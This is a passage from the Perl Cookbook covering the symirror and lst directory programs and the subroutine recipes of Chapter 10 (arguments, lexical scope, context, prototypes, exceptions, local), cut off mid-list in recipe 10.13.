    if (defined ($is_dir)) {
        die "$0: $_ is not a directory\n";
    } else {                                # be forgiving
        mkdir($dstdir, 07777) or die "can't mkdir $dstdir: $!";
    }
} continue {
    s#^(?!/)#$cwd/#;                        # fix relative paths
}

chdir $srcdir;
find(\&wanted, '.');

sub wanted {
    my($dev, $ino, $mode) = lstat($_);
    my $name = $File::Find::name;
    $mode &= 07777;                 # preserve directory permissions
    $name =~ s!^\./!!;              # correct name
    if (-d _) {                     # then make a real directory
        mkdir("$dstdir/$name", $mode)
            or die "can't mkdir $dstdir/$name: $!";
    } else {                        # shadow everything else
        symlink("$srcdir/$name", "$dstdir/$name")
            or die "can't symlink $srcdir/$name to $dstdir/$name: $!";
    }
}

Previous: 9.10. Splitting a Filename into Its Component Parts | Perl Cookbook | Next: 9.12. Program: lst
9.10. Splitting a Filename into Its Component Parts | Book Index | 9.12. Program: lst


Recipe 9.12. Program: lst

Perl CookbookSearch this book

9.12. Program: lst

Have you ever wondered what the newest or biggest files within a directory are? The standard ls program has options for listing out directories sorted in time order (the -t flag) and for recursing into subdirectories (the -R flag). However, it pauses at each directory to display the sorted contents of just that directory. It doesn't descend through all the subdirectories first and then sort everything it finds.

The following lst program does that. Here's an example using its -l flag to get a long listing:

% lst -l /etc
12695 0600      1     root    wheel      512 Fri May 29 10:42:41 1998
    /etc/ssh_random_seed
12640 0644      1     root    wheel    10104 Mon May 25  7:39:19 1998
    /etc/ld.so.cache
12626 0664      1     root    wheel    12288 Sun May 24 19:23:08 1998
    /etc/psdevtab
12304 0644      1     root     root      237 Sun May 24 13:59:33 1998
    /etc/exports
12309 0644      1     root     root     3386 Sun May 24 13:24:33 1998
    /etc/inetd.conf
12399 0644      1     root     root    30205 Sun May 24 10:08:37 1998
    /etc/sendmail.cf
18774 0644      1     gnat  perldoc     2199 Sun May 24  9:35:57 1998
    /etc/X11/XMetroconfig
12636 0644      1     root    wheel      290 Sun May 24  9:05:40 1998
    /etc/mtab
12627 0640      1     root     root        0 Sun May 24  8:24:31 1998
    /etc/wtmplock
12310 0644      1     root  tchrist       65 Sun May 24  8:23:04 1998
    /etc/issue
....

/etc/X11/XMetroconfig showed up in the middle of the listing for /etc because it wasn't just for /etc, but for everything within that directory, recursively.

Other supported options include sorting on read time instead of write time using -u and sorting on size rather than time with -s. The -i flag takes the list of filenames from standard input instead of recursing with find. That way, if you already had a list of filenames, you could feed them to lst for sorting.

The program is shown in Example 9.7.

Example 9.7: lst

#!/usr/bin/perl
# lst - list sorted directory contents (depth first)

use Getopt::Std;
use File::Find;
use File::stat;
use User::pwent;
use User::grent;

getopts('lusrcmi')    or die <<DEATH;
Usage: $0 [-mucsril] [dirs ...]
 or    $0 -i [-mucsrl] < filelist

Input format:
    -i  read pathnames from stdin
Output format:
    -l  long listing
Sort on:
    -m  use mtime (modify time) [DEFAULT]
    -u  use atime (access time)
    -c  use ctime (inode change time)
    -s  use size for sorting
Ordering:
    -r  reverse sort
NB: You may only use select one sorting option at a time.
DEATH

unless ($opt_i || @ARGV) { @ARGV = ('.') }

if ($opt_c + $opt_u + $opt_s + $opt_m > 1) {
    die "can only sort on one time or size";
}

$IDX = 'mtime';
$IDX = 'atime' if $opt_u;
$IDX = 'ctime' if $opt_c;
$IDX = 'size'  if $opt_s;

$TIME_IDX = $opt_s ? 'mtime' : $IDX;

*name = *File::Find::name;  # forcibly import that variable

# the $opt_i flag tricks wanted into taking
# its filenames from ARGV instead of being
# called from find.

if ($opt_i) {
     *name = *_;  # $name now alias for $_
     while (<>) { chomp; &wanted; }   # ok, not stdin really
}  else {
    find(\&wanted, @ARGV);
}

# sort the files by their cached times, youngest first
@skeys = sort { $time{$b} <=> $time{$a} } keys %time;

# but flip the order if -r was supplied on command line
@skeys = reverse @skeys if $opt_r;

for (@skeys) {
    unless ($opt_l) {  # emulate ls -l, except for permissions
        print "$_\n";
        next;
    }
    $now = localtime $stat{$_}->$TIME_IDX();
    printf "%6d %04o %6d %8s %8s %8d %s %s\n",
        $stat{$_}->ino(),
        $stat{$_}->mode() & 07777,
        $stat{$_}->nlink(),
        user($stat{$_}->uid()),
        group($stat{$_}->gid()),
        $stat{$_}->size(),
        $now, $_;
}

# get stat info on the file, saving the desired
# sort criterion (mtime, atime, ctime, or size)
# in the %time hash indexed by filename.
# if they want a long list, we have to save the
# entire stat object in %stat.  yes, this is a
# hash of objects
sub wanted {
    my $sb = stat($_);  # XXX: should be stat or lstat?
    return unless $sb;
    $time{$name} = $sb->$IDX();  # indirect method call
    $stat{$name} = $sb if $opt_l;
}

# cache user number to name conversions
sub user {
    my $uid = shift;
    $user{$uid} = getpwuid($uid)->name || "#$uid"
        unless defined $user{$uid};
    return $user{$uid};
}

# cache group number to name conversions
sub group {
    my $gid = shift;
    $group{$gid} = getgrgid($gid)->name || "#$gid"
        unless defined $group{$gid};
    return $group{$gid};
}

Previous: 9.11. Program: symirror | Perl Cookbook | Next: 10. Subroutines
9.11. Program: symirror | Book Index | 10. Subroutines


[Chapter 10] Subroutines

Perl CookbookSearch this book
Previous: 9.12. Program: lst Chapter 10 Next: 10.1. Accessing Subroutine Arguments

10. Subroutines

Contents:
Introduction
Accessing Subroutine Arguments
Making Variables Private to a Function
Creating Persistent Private Variables
Determining Current Function Name
Passing Arrays and Hashes by Reference
Detecting Return Context
Passing by Named Parameter
Skipping Selected Return Values
Returning More Than One Array or Hash
Returning Failure
Prototyping Functions
Handling Exceptions
Saving Global Values
Redefining a Function
Trapping Undefined Function Calls with AUTOLOAD
Nesting Subroutines
Program: Sorting Your Mail

Composing mortals with immortal fire.

- W. H. Auden "Three Songs for St Cecilia's Day"

10.0. Introduction

To avoid the dangerous practice of copying and pasting code throughout a program, your larger programs will probably reuse chunks of code with subroutines. We'll use the terms subroutine and function interchangeably, because Perl doesn't distinguish between the two any more than C does. Even object-oriented methods are just subroutines that are called using a special syntax, described in Chapter 13, Classes, Objects, and Ties.

A subroutine is declared with the sub keyword. Here's a simple subroutine definition:

sub hello {
    $greeted++;          # global variable
    print "hi there!\n";
}

The typical way of calling that subroutine is:

hello();                 # call subroutine hello with no arguments/parameters

Because Perl compiles your program before executing it, it doesn't matter where your subroutines are declared. These definitions don't have to be in the same file as your main program. They can be pulled in from other files using the do, require, or use operators, as described in Chapter 12, Packages, Libraries, and Modules. They can even be created on the fly using eval or the AUTOLOAD mechanism, or generated using closures, which can be used as function templates.

If you are familiar with other programming languages, several characteristics of Perl's functions may surprise you if you're not prepared. Most of the recipes in this chapter illustrate how to take advantage of - and be aware of - these properties.

  • Perl functions have no formal, named parameters, but this is not necessarily a bad thing. See Recipes 10.1 and 10.7.

  • All variables are global unless declared otherwise. See Recipes 10.2, 10.3, and 10.13 for details.

  • Passing or returning more than one array or hash normally causes them to lose their separate identities. See Recipes 10.5, 10.8, 10.9, and 10.11 to avoid this.

  • A function can know whether it was called in list or scalar context, how many arguments it was called with, and even the name of the function that called it. See Recipes 10.4 and 10.6 to find out how.

  • Perl's undef value can be used to indicate an error condition since no valid string or number ever has that value. 10.10 covers subtle pitfalls with undef you should avoid, and 10.12 shows how to deal with other catastrophic conditions.

  • Perl supports interesting operations on functions you might not see in other languages, like anonymous functions, creating functions on the fly, and calling them indirectly using function pointers. See Recipes 10.14 and 10.16 for these esoteric topics.

Calling a function as $x = &func; does not supply any arguments, but rather provides direct access to its caller's @_ array! If you omit the ampersand and use either func() or func, then a new and empty @_ is provided instead.

Previous: 9.12. Program: lst | Perl Cookbook | Next: 10.1. Accessing Subroutine Arguments
9.12. Program: lst | Book Index | 10.1. Accessing Subroutine Arguments


Recipe 10.1. Accessing Subroutine Arguments

Perl CookbookSearch this book

10.1. Accessing Subroutine Arguments

Problem

You have written a function and want to use the arguments supplied by its caller.

Solution

All values passed as arguments to a function are in the special array @_. Thus, the first argument to the function is in $_[0], the second is in $_[1], and so on. The number of arguments is therefore scalar(@_).

For example:

sub hypotenuse {
    return sqrt( ($_[0] ** 2) + ($_[1] ** 2) );
}

$diag = hypotenuse(3,4);  # $diag is 5

Your subroutines will almost always start by copying arguments into named private variables for safer and more convenient access:

sub hypotenuse {
    my ($side1, $side2) = @_;
    return sqrt( ($side1 ** 2) + ($side2 ** 2) );
}

Discussion

It's been said that programming has only three nice numbers: zero, one, and however many you please. Perl's subroutine mechanism was designed to facilitate writing functions with as many - or as few - elements in the parameter and return lists as you wish. All incoming parameters appear as separate scalar values in the special array @_ , which is automatically local to each function (see Recipe 10.13). To return a value from a subroutine, use the return statement with an argument. If there is no return statement, the return value is the result of the last evaluated expression.

Here are some sample calls to the hypotenuse function defined in the Solution:

print hypotenuse(3, 4), "\n";               # prints 5

@a = (3, 4);
print hypotenuse(@a), "\n";                 # prints 5

If you look at the arguments used in the second call to hypotenuse, it might appear that only one argument was passed: the array @a. This isn't what happens - the elements of @a are copied into the @_ array separately. Similarly, if we called a function with (@a, @b), we'd be giving it all the arguments in both arrays. This is the same principle of flattened lists at work as when we say:

@both = (@men, @women);

The scalars in @_ are implicit aliases for the ones passed in, not copies. That means changing the elements of @_ in a subroutine changes the values in the subroutine's caller. This is a holdover from before Perl had proper references.

So, we can write functions that leave their arguments intact, by copying the arguments to private variables like this:

@nums = (1.4, 3.5, 6.7);
@ints = int_all(@nums);        # @nums unchanged
sub int_all {
    my @retlist = @_;          # make safe copy for return
    for my $n (@retlist) { $n = int($n) }
    return @retlist;
}

We can also write functions that change their caller's variables:

@nums = (1.4, 3.5, 6.7);
trunc_em(@nums);               # @nums now (1,3,6)
sub trunc_em {
    for (@_) { $_ = int($_) }  # truncate each argument
}

Don't pass constants to this kind of function, as in trunc_em(1.4, 3.5, 6.7). If you try, you'll get a run-time exception saying Modification of a read-only value attempted at ....

The built-in functions chop and chomp work like this, modifying their caller's variables and returning the character(s) removed. People are used to such functions returning the changed values, so they often write things like:

$line = chomp(<>);                  # WRONG

until they get the hang of how it works. Given this vast potential for confusion, you might want to think twice before modifying @_ in your subroutines.

See Also

The section on "Subroutines" in Chapter 2 of Programming Perl and perlsub (1)

Previous: 10.0. Introduction | Perl Cookbook | Next: 10.2. Making Variables Private to a Function
10.0. Introduction | Book Index | 10.2. Making Variables Private to a Function


Recipe 10.2. Making Variables Private to a Function

Perl CookbookSearch this book

10.2. Making Variables Private to a Function

Problem

Your subroutine needs temporary variables. You shouldn't use global variables, because another subroutine might also use the same variables.

Solution

Use my to declare a variable private to a region of your program:

sub somefunc {
    my $variable;                 # $variable is invisible outside somefunc()
    my ($another, @an_array, %a_hash);     # declaring many variables at once

    # ...
}

Discussion

The my operator confines a variable to a particular region of code in which it can be used and accessed. Outside that region, it can't be accessed. This region is called its scope.

Variables declared with my have lexical scope, which means that they exist only within a particular textual area of code. For instance, the scope of $variable in the Solution is the function it was defined in, somefunc. When a call to somefunc is made, the variable is created. The variable is destroyed when the function call ends. The variable can be accessed within the function, but not outside of it.

A lexical scope is usually a block of code with a set of braces around it, such as those defining the body of the somefunc subroutine or those marking the code blocks of if, while, for, foreach, and eval statements. Lexical scopes may also be an entire file or strings given to eval. Since a lexical scope is usually a block, we'll sometimes talk about lexical variables (variables with lexical scope) being only visible in their block when we mean that they're only visible in their scope. Forgive us. Otherwise, we'll be using the words "scope" and "sub" more than a WWII Navy movie.

Because the parts of code that can see a my variable are determined at compile time and don't change after that, lexical scoping is sometimes misleadingly referred to as static scoping. Lexical scoping is in contrast to dynamic scoping, which we'll cover in Recipe 10.13.

You can combine a my declaration with an assignment. Use parentheses when defining more than one variable:

my ($name, $age) = @ARGV;
my $start        = fetch_time();

These lexical variables behave as you would expect a local variable to. Nested blocks can see lexicals declared in outer blocks, but not in unrelated blocks:

my ($a, $b) = @pair;
my $c = fetch_time();

sub check_x {
    my $x = $_[0];
    my $y = "whatever";
    run_check();
    if ($condition) {
        print "got $x\n";
    }
}

In the preceding code, the if block inside the function can access the private $x variable. However, the run_check function called from within that scope cannot access $x or $y because run_check was presumably defined in another scope. However, check_x could access $a, $b, or $c from the outer scope because the function was defined in the same scope as those three variables.

Don't nest the declaration of named subroutines within the declarations of other named subroutines. Such subroutines, unlike proper closures, will not get the right bindings of the lexical variables. Recipe 10.16 shows how to cope with this restriction.

When a lexical goes out of scope, its storage is freed unless a reference to its value's storage space still exists, as with @arguments in the following code:

sub save_array {
    my @arguments = @_;
    push(@Global_Array, \@arguments);
}

Perl's garbage collection system knows not to deallocate things until they're no longer used. This is why we can return a reference to a private variable without leaking memory.

See Also

The section on "Scoped Declarations" in Chapter 2 of Programming Perl and the section on "Private Variables via my( )" in perlsub (1)

Previous: 10.1. Accessing Subroutine Arguments | Perl Cookbook | Next: 10.3. Creating Persistent Private Variables
10.1. Accessing Subroutine Arguments | Book Index | 10.3. Creating Persistent Private Variables


Recipe 10.3. Creating Persistent Private Variables

Perl CookbookSearch this book

10.3. Creating Persistent Private Variables

Problem

You want a variable to retain its value between calls to a subroutine but not be visible outside that routine. For instance, you'd like your function to keep track of how many times it was called.

Solution

Wrap the function in another block, and declare my variables in that block's scope rather than the function's:

{
    my $variable;
    sub mysub {
        # ... accessing $variable
    }
}

If the variables require initialization, make that block a BEGIN so the variable is guaranteed to be set before the main program starts running:

BEGIN {
    my $variable = 1;                       # initial value
    sub othersub {                          # ... accessing $variable
    }
}

Discussion

Unlike local variables in C or C++, Perl's lexical variables don't necessarily get recycled just because their scope has exited. If something more permanent is still aware of the lexical, it will stick around. In this case, mysub uses $variable, so Perl doesn't reclaim the variable when the block around the definition of mysub ends.

Here's how to write a counter:

{
    my $counter;
    sub next_counter { return ++$counter }
}

Each time next_counter is called, it increments and returns the $counter variable. The first time next_counter is called, $counter is undefined, so it behaves as though it were 0 for the ++. The variable is not part of next_counter's scope, but rather part of the block surrounding it. No code from outside can change $counter except by calling next_counter.

Generally, you should use a BEGIN for the extra scope. Otherwise, you could call the function before its variable were initialized.

BEGIN {
    my $counter = 42;
    sub next_counter { return ++$counter }
    sub prev_counter { return --$counter }
}

This technique creates the Perl equivalent of C's static variables. Actually, it's a little better. Rather than being limited to just one function, both functions share their private variable.

See Also

The section on "Closures" in Chapter 4and on "Package Constructors and Destructors: BEGIN and END" in Chapter 5 of Programming Perl; the section on "Private Variables via my( )" in perlsub (1); the section on "Package Constructors and Destructors" in perlmod (1); Recipe 11.4

Previous: 10.2. Making Variables Private to a Function | Perl Cookbook | Next: 10.4. Determining Current Function Name
10.2. Making Variables Private to a Function | Book Index | 10.4. Determining Current Function Name


Recipe 10.4. Determining Current Function Name

Perl CookbookSearch this book

10.4. Determining Current Function Name

Problem

You want to determine the name of the currently running function. This is useful for creating error messages that don't need to be changed if you copy and paste the subroutine code.

Solution

Use the caller function:

$this_function = (caller(0))[3];

Discussion

Code can always find the current line number in the special symbol __LINE__ , the current file in __FILE__ , and the current package in __PACKAGE__ . But there's no such symbol for the current subroutine name, let alone the name of the one that called this subroutine.

The built-in function caller handles all of these. In scalar context it returns the calling function's package name. But in list context, it returns a wealth of information. You can also pass it a number indicating how many frames (nested subroutine calls) back you'd like information about: 0 is your own function, 1 is your caller, and so on.

Here's the full syntax, where $i is how far back you're interested in:

($package, $filename, $line, $subr, $has_args, $wantarray )= caller($i);
#   0         1         2       3       4          5

Here's what each of those return values means:

$package

The package that the code was compiled in.

$filename

The name of the file the code was compiled in, reporting -e if launched from the command-line switch of the same name, or - if the script was read from STDIN.

$line

The line number that frame was called from.

$subr

The name of that frame's function, including its package. Closures return names like main::__ANON__ , which are not callable. In eval it returns "(eval)".

$has_args

Whether the function was called with arguments.

$wantarray

The value the wantarray function would return for that stack frame; either true, false but defined, or else undefined (respectively). This tells you whether the function was called in list, scalar, or void context.

Rather than using caller directly as in the solution, you might want to write functions instead:

$me  = whoami();
$him = whowasi();

sub whoami  { (caller(1))[3] }
sub whowasi { (caller(2))[3] }

These use arguments 1 and 2 for parent and grandparent functions because the call to whoami or whowasi would be number 0.

See Also

The wantarray and caller functions in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 10.6

Previous: 10.3. Creating Persistent Private Variables | Perl Cookbook | Next: 10.5. Passing Arrays and Hashes by Reference
10.3. Creating Persistent Private Variables | Book Index | 10.5. Passing Arrays and Hashes by Reference


Recipe 10.5. Passing Arrays and Hashes by Reference

Perl CookbookSearch this book

10.5. Passing Arrays and Hashes by Reference

Problem

You want to pass a function more than one array or hash and have each remain distinct. For example, you want to put the "Find elements in one array but not in another" algorithm from Recipe 4.7 in a subroutine. This subroutine must then be called with two arrays that remain distinct.

Solution

Pass arrays and hashes by reference, using the backslash operator:

array_diff( \@array1, \@array2 );

Discussion

See Chapter 11, References and Records, for more about manipulation of references. Here's a subroutine that takes array references and a subroutine call that generates them:

@a = (1, 2);
@b = (5, 8);
@c = add_vecpair( \@a, \@b );
print "@c\n";
6 10

sub add_vecpair {       # assumes both vectors the same length
    my ($x, $y) = @_;   # copy in the array references
    my @result;

    for (my $i=0; $i < @$x; $i++) {
      $result[$i] = $x->[$i] + $y->[$i];
    }

    return @result;
}

A potential difficulty with this function is that it doesn't check to make sure it got exactly two arguments that were both array references. You could check explicitly this way:

unless (@_ == 2 && ref($x) eq 'ARRAY' && ref($y) eq 'ARRAY') {
    die "usage: add_vecpair ARRAYREF1 ARRAYREF2";
}

If all you plan to do is die on error (see Recipe 10.12), you can usually omit this check, since dereferencing the wrong kind of reference triggers an exception anyway.

See Also

The section on "Passing References" in Chapter 2 of Programming Perl and on "Pass by Reference" in perlsub (1); the section on "Prototypes" in Chapter 2 of Programming Perl or in perlsub (1); Recipe 10.11; Chapter 11; Chapter 4 of Programming Perl.

Previous: 10.4. Determining Current Function Name | Perl Cookbook | Next: 10.6. Detecting Return Context
10.4. Determining Current Function Name | Book Index | 10.6. Detecting Return Context


Recipe 10.6. Detecting Return Context

Perl CookbookSearch this book

10.6. Detecting Return Context

Problem

You want to know whether your function was called in scalar context or list context. This lets you have one function that does different things, like most of Perl's built-in functions.

Solution

Use the wantarray() function, which has three possible return values depending on how the current function was called:

if (wantarray()) {
    # list context
}
elsif (defined wantarray()) {
    # scalar context
}
else {
    # void context
}

Discussion

Many built-in functions act differently when called in scalar context than in list context. A user-defined function can learn the context it was called in by examining the return value from the wantarray built-in. List context is indicated by a true return value. If it returns a value that is false but defined, then the function's return value will be used in scalar context. If it returns undef, it isn't being asked to provide a value at all.

if (wantarray()) {
    print "In list context\n";
    return @many_things;
} elsif (defined wantarray()) {
    print "In scalar context\n";
    return $one_thing;
} else {
    print "In void context\n";
    return;  # nothing
}

mysub();                    # void context

$a = mysub();               # scalar context
if (mysub()) {  }           # scalar context

@a = mysub();               # list context
print mysub();              # list context

See Also

The return and wantarray functions in Chapter 3 of Programming Perl and perlfunc (1)

Previous: 10.5. Passing Arrays and Hashes by Reference | Perl Cookbook | Next: 10.7. Passing by Named Parameter
10.5. Passing Arrays and Hashes by Reference | Book Index | 10.7. Passing by Named Parameter


Recipe 10.7. Passing by Named Parameter

Perl CookbookSearch this book

10.7. Passing by Named Parameter

Problem

You want to make a function with many parameters easy to invoke so that programmers remember what the arguments do, rather than having to memorize their order.

Solution

Name each parameter in the call:

thefunc(INCREMENT => "20s", START => "+5m", FINISH => "+30m");
thefunc(START => "+5m", FINISH => "+30m");
thefunc(FINISH => "+30m");
thefunc(START => "+5m", INCREMENT => "15s");

Then in the subroutine, create a hash loaded up with default values plus the array of named pairs.

sub thefunc {
    my %args = (
        INCREMENT   => '10s',
        FINISH      => 0,
        START       => 0,
        @_,         # argument pair list goes here
    );
    if ($args{INCREMENT}  =~ /m$/ ) { ..... }
}

Discussion

Functions whose arguments require a particular order work well for short argument lists, but as the number of parameters increases, it's awkward to make some of them optional or have default values. You can only leave out trailing arguments, never initial ones.

Having the caller supply value pairs is a more flexible approach. The first element of the pair is the argument name, and the second is its value. This makes for self-documenting code, because you can see the parameters' intended meanings without having to read the full function definition. Even better, programmers using your function no longer have to remember the order of the arguments and can omit any arguments.

This works by having the function declare a private hash variable to hold the default parameter values. Put the current arguments, @_ , after the default values, so the actual arguments will override the defaults because of the order of the values in the assignment.

See Also

Chapter 4, Arrays

Previous: 10.6. Detecting Return Context | Perl Cookbook | Next: 10.8. Skipping Selected Return Values
10.6. Detecting Return Context | Book Index | 10.8. Skipping Selected Return Values


Recipe 10.8. Skipping Selected Return Values

Perl CookbookSearch this book

10.8. Skipping Selected Return Values

Problem

You have a function that returns many values, but you only care about some of them. The stat function is a classic example: often you only want one value from its long return list (mode, for instance).

Solution

Either assign to a list with undef in some of the slots:

($a, undef, $c) = func();

or else take a slice of the return list, selecting only what you want:

($a, $c) = (func())[0,2];

Discussion

Using dummy temporary variables is wasteful:

($dev,$ino,$DUMMY,$DUMMY,$uid) = stat($filename);

Use undef instead of dummy variables to discard a value:

($dev,$ino,undef,undef,$uid)   = stat($filename);

Or take a slice, selecting just the values you care about:

($dev,$ino,$uid,$gid)   = (stat($filename))[0,1,4,5];

If you want to put an expression into list context and discard all its return values (calling it simply for side effects), as of version 5.004 you can assign to the empty list:

() = some_function();

See Also

The discussion on slices in Chapter 2 of Programming Perl and perlsub (1); Recipe 3.1

Previous: 10.7. Passing by Named Parameter | Perl Cookbook | Next: 10.9. Returning More Than One Array or Hash
10.7. Passing by Named Parameter | Book Index | 10.9. Returning More Than One Array or Hash


Recipe 10.9. Returning More Than One Array or Hash

Perl CookbookSearch this book

10.9. Returning More Than One Array or Hash

Problem

You want a function to return more than one array or hash, but the return list flattens into just one long list of scalars.

Solution

Return references to the hashes or arrays:

($array_ref, $hash_ref) = somefunc();

sub somefunc {
    my @array;
    my %hash;

    # ...

    return ( \@array, \%hash );
}

Discussion

Just as all arguments collapse into one flat list of scalars, return values do, too. Functions that want to return separate arrays of hashes need to return those by reference, and the caller must be prepared to receive references. If a function wants to return three separate hashes, for example, it should use one of the following:

sub fn {
    .....
    return (\%a, \%b, \%c); # or
    return \(%a,  %b,  %c); # same thing
}

The caller must expect a list of hash references returned out of the function. It cannot just assign to three hashes.

(%h0, %h1, %h2)  = fn();    # WRONG!
@array_of_hashes = fn();    # eg: $array_of_hashes[2]->{"keystring"}
($r0, $r1, $r2)  = fn();    # eg: $r2->{"keystring"}

See Also

The general discussions on references in Chapter 11, and in Chapter 4 of Programming Perl; Recipe 10.5

Previous: 10.8. Skipping Selected Return Values | Perl Cookbook | Next: 10.10. Returning Failure
10.8. Skipping Selected Return Values | Book Index | 10.10. Returning Failure


Recipe 10.10. Returning Failure

Perl CookbookSearch this book

10.10. Returning Failure

Problem

You want to return a value indicating that your function failed.

Solution

Use a bare return statement without any argument, which returns undef in scalar context and the empty list () in list context.

return;

Discussion

A return without an argument means:

sub empty_retval {
    return ( wantarray ? () : undef );
}

You can't use just return undef because in list context you will get a list of one value: undef. If your caller says:

if (@a = yourfunc()) { ... }

Then the "error" condition will be perceived as true, because @a will be assigned (undef) and then evaluated in scalar context. This yields 1, the number of elements in @a, which is true. You could use the wantarray function to see what context you were called in, but a bare return is a clear and tidy solution that always works:

unless ($a = sfunc()) { die "sfunc failed" }
unless (@a = afunc()) { die "afunc failed" }
unless (%a = hfunc()) { die "hfunc failed" }

Some of Perl's built-in functions have a peculiar return value. Both fcntl and ioctl have the curious habit of returning the string "0 but true" in some circumstances. (This magic string is conveniently exempt from the -w flag's incessant numerical conversion warnings.) This has the advantage of letting you write code like this:

ioctl(....) or die "can't ioctl: $!";

That way, code doesn't have to check for a defined zero as distinct from the undefined value, as it would for the read or glob functions. "0 but true" is zero when used numerically. It's rare that this kind of return value is needed. A more common (and spectacular) way to indicate failure in a function is to raise an exception, as described in Recipe 10.12.

See Also

The undef, wantarray, and return functions in Chapter 3 of Programming Perl and perlfunc (1); Recipe 10.12

Previous: 10.9. Returning More Than One Array or Hash | Perl Cookbook | Next: 10.11. Prototyping Functions
10.9. Returning More Than One Array or Hash | Book Index | 10.11. Prototyping Functions


Recipe 10.11. Prototyping Functions

Perl CookbookSearch this book

10.11. Prototyping Functions

Problem

You want to use function prototypes so the compiler can check your argument types.

Solution

Perl has something of a prototype facility, but it isn't what you're thinking. Perl's function prototypes are more like a context coercion used to write functions that behave like some of Perl's built-ins, such as push and pop.

Discussion

Manually checking the validity of a function's arguments can't happen until run-time. If you make sure the function is declared before it is used, you can tickle the compiler into using a very limited form of prototype checking to help you here. Don't confuse Perl's function prototypes with those found in any other language. Perl prototypes serve only to emulate the behavior of built-in functions.

A Perl function prototype is zero or more spaces, backslashes, or type characters enclosed in parentheses after the subroutine definition or name. A backslashed type symbol means that the argument is passed by reference, and the argument in that position must start with that type character.

A prototype forces context on the arguments to the prototyped function call. This is done when Perl compiles your program, and in most cases this does not necessarily mean that Perl checks the number or type of the arguments to your function. If Perl sees func(3, 5) for a function prototyped as sub func ($), it will stop with a compile-time error. But if it sees func(@array) with the same prototype, it will merely put @array into scalar context instead of saying "you can't pass an array - I'm expecting a scalar."

This is so important that it bears repeating: don't use Perl prototypes expecting the compiler to check type and number of arguments for you.

So what use are they? They have two main uses, although as you experiment with them you may find others. The first use is to tell Perl how many arguments your subroutine has, so you can leave off parentheses when you call the function. The second is to create a subroutine that has the same calling syntax as a built-in.

Omitting parentheses

Ordinarily your subroutines take a list of arguments, and you can omit parentheses on the function call if you like:

@results = myfunc 3, 5;

Without prototypes, this is the same as:

@results = myfunc(3, 5);

In the absence of parentheses, Perl will put the right hand side of the subroutine call into list context. You can use prototypes to change this behavior:

sub myfunc($);
@results = myfunc 3, 5;

Now this is the same as:

@results = ( myfunc(3), 5 );

You can also provide an empty prototype to indicate the function takes no arguments, like the built-in function time. This is how Fcntl provides the LOCK_SH, LOCK_EX, and LOCK_UN constants. They are exported functions defined to have an empty prototype:

sub LOCK_SH () { 1 }
sub LOCK_EX () { 2 }
sub LOCK_UN () { 4 }

Mimicking built-ins

The other common use of prototypes is to give the convenient pass-without-flattening behavior of built-in functions like push and shift. When you call push as push(@array, 1, 2, 3) the function gets a reference to @array instead of the actual array. This is accomplished by backslashing the @ character in the prototype:

sub mypush (\@@) {
  my $array_ref = shift;
  my @remainder = @_;

  # ...
}

The \@ in the prototype says "require the first argument to begin with an @ character, and pass it by reference." The second @ says "the rest of the arguments are a (possibly empty) list." A backslash in a prototype requires that the argument actually begin with the literal type character, which can sometimes be annoying. You can't even use the conditional ?: construct to pick which array to pass:

 mypush( $x > 10 ? @a : @b , 3, 5 );          # WRONG

Instead, you must play games with references:

 mypush( @{ $x > 10 ? \@a : \@b }, 3, 5 );    # RIGHT

Here's an hpush function that works like push, but on hashes. It appends a list of key/value pairs to an existing hash, overwriting previous contents for those keys.

sub hpush(\%@) {
    my $href = shift;
    while ( my ($k, $v) = splice(@_, 0, 2) ) {
        $href->{$k} = $v;
    }
}
hpush(%pieces, "queen" => 9, "rook" => 5);

See Also

The prototype function in perlfunc (1); the section on "Prototypes" in Chapter 2 of Programming Perl and in perlsub (1); Recipe 10.5

Previous: 10.10. Returning Failure | Perl Cookbook | Next: 10.12. Handling Exceptions
10.10. Returning Failure | Book Index | 10.12. Handling Exceptions


Recipe 10.12. Handling Exceptions

Perl CookbookSearch this book

10.12. Handling Exceptions

Problem

How do you safely call a function that might raise an exception? How do you create a function that raises an exception?

Solution

Sometimes you encounter a problem so exceptional that merely returning an error isn't strong enough, because the caller could ignore the error. Use die STRING from your function to trigger an exception:

die "some message";         # raise exception

The caller can wrap the function call in an eval to intercept that exception, and then consult the special variable $@ to see what happened:

eval { func() };
if ($@) {
    warn "func raised an exception: $@";
}

Discussion

Raising exceptions is not a facility to be used lightly. Most functions should return an error using a bare return statement. Wrapping every call in a trap is tedious and unsightly, removing the appeal of using exceptions in the first place.

But on rare occasion, failure in a function should cause the entire program to abort. Rather than calling the irrecoverable exit function, you should call die instead, which at least gives the programmer the chance to cope. If no exception handler has been installed via eval, then the program aborts at that point.

To detect such a failure program, wrap the call to the function with a block eval. The $@ variable will be set to the offending exception if one occurred; otherwise, it will be false.

eval { $val = func() };
warn "func blew up: $@" if $@;

Any eval catches all exceptions, not just specific ones. Usually you should propagate unexpected exceptions to an enclosing hander. For example, suppose your function raised an exception containing the string "Full moon!". You could safely trap that exception while letting the others through by inspecting the $@ variable. Calling die without an argument uses the contents of $@ and the current context to construct a new exception string.

eval { $val = func() };
if ($@ && $@ !~ /Full moon!/) {
    die;    # re-raise unknown errors
}

If the function is part of a module, consider using the Carp module and call croak or confess instead of die. The only difference between die and croak is that with croak, the error appears to be from the caller's perspective, not the module's. The confess function, on the other hand, creates a full stack backtrace of who called whom and with what arguments.

Another intriguing possibility is for the function to detect that its return value is being completely ignored; that is, it is being called in a void context. In that case, returning an error indication would be useless, so raise an exception instead.

Of course, just because it's not voided doesn't mean the return value is being dealt with appropriately. But if it is voided, it's certainly not being checked.

if (defined wantarray()) {
        return;
} else {
    die "pay attention to my error!";
}

See Also

The $@ variable in Chapter 2 of Programming Perl and perlvar (1); the die and eval functions in Chapter 3 of Programming Perl and perlfunc (1); Recipe 10.15; Recipe 12.2; Recipe 16.21

Previous: 10.11. Prototyping Functions | Perl Cookbook | Next: 10.13. Saving Global Values
10.11. Prototyping Functions | Book Index | 10.13. Saving Global Values


Recipe 10.13. Saving Global Values

Perl CookbookSearch this book

10.13. Saving Global Values

Problem

You need to temporarily save away the value of a global variable.

Solution

Use the local operator to save a previous global value, automatically restoring it when the current block exits:

$age = 18;          # global variable
if (CONDITION) {
    local $age = 23;
    func();         # sees temporary value of 23
} # restore old value at block exit

Discussion

Unfortunately, Perl's local operator does not create a local variable. That's what my does. Instead, local merely preserves an existing value for the duration of its enclosing block. Hindsight shows that if local had been called save_value instead, much confusion could have been avoided.

Still, there are three places where you must use local instead of my:

  1. You need to give a global variable a temporary value, especially $_.

  2. You need to create a local file or directory handle or a local function.

  3. You want to temporarily change just one element of an array or hash.

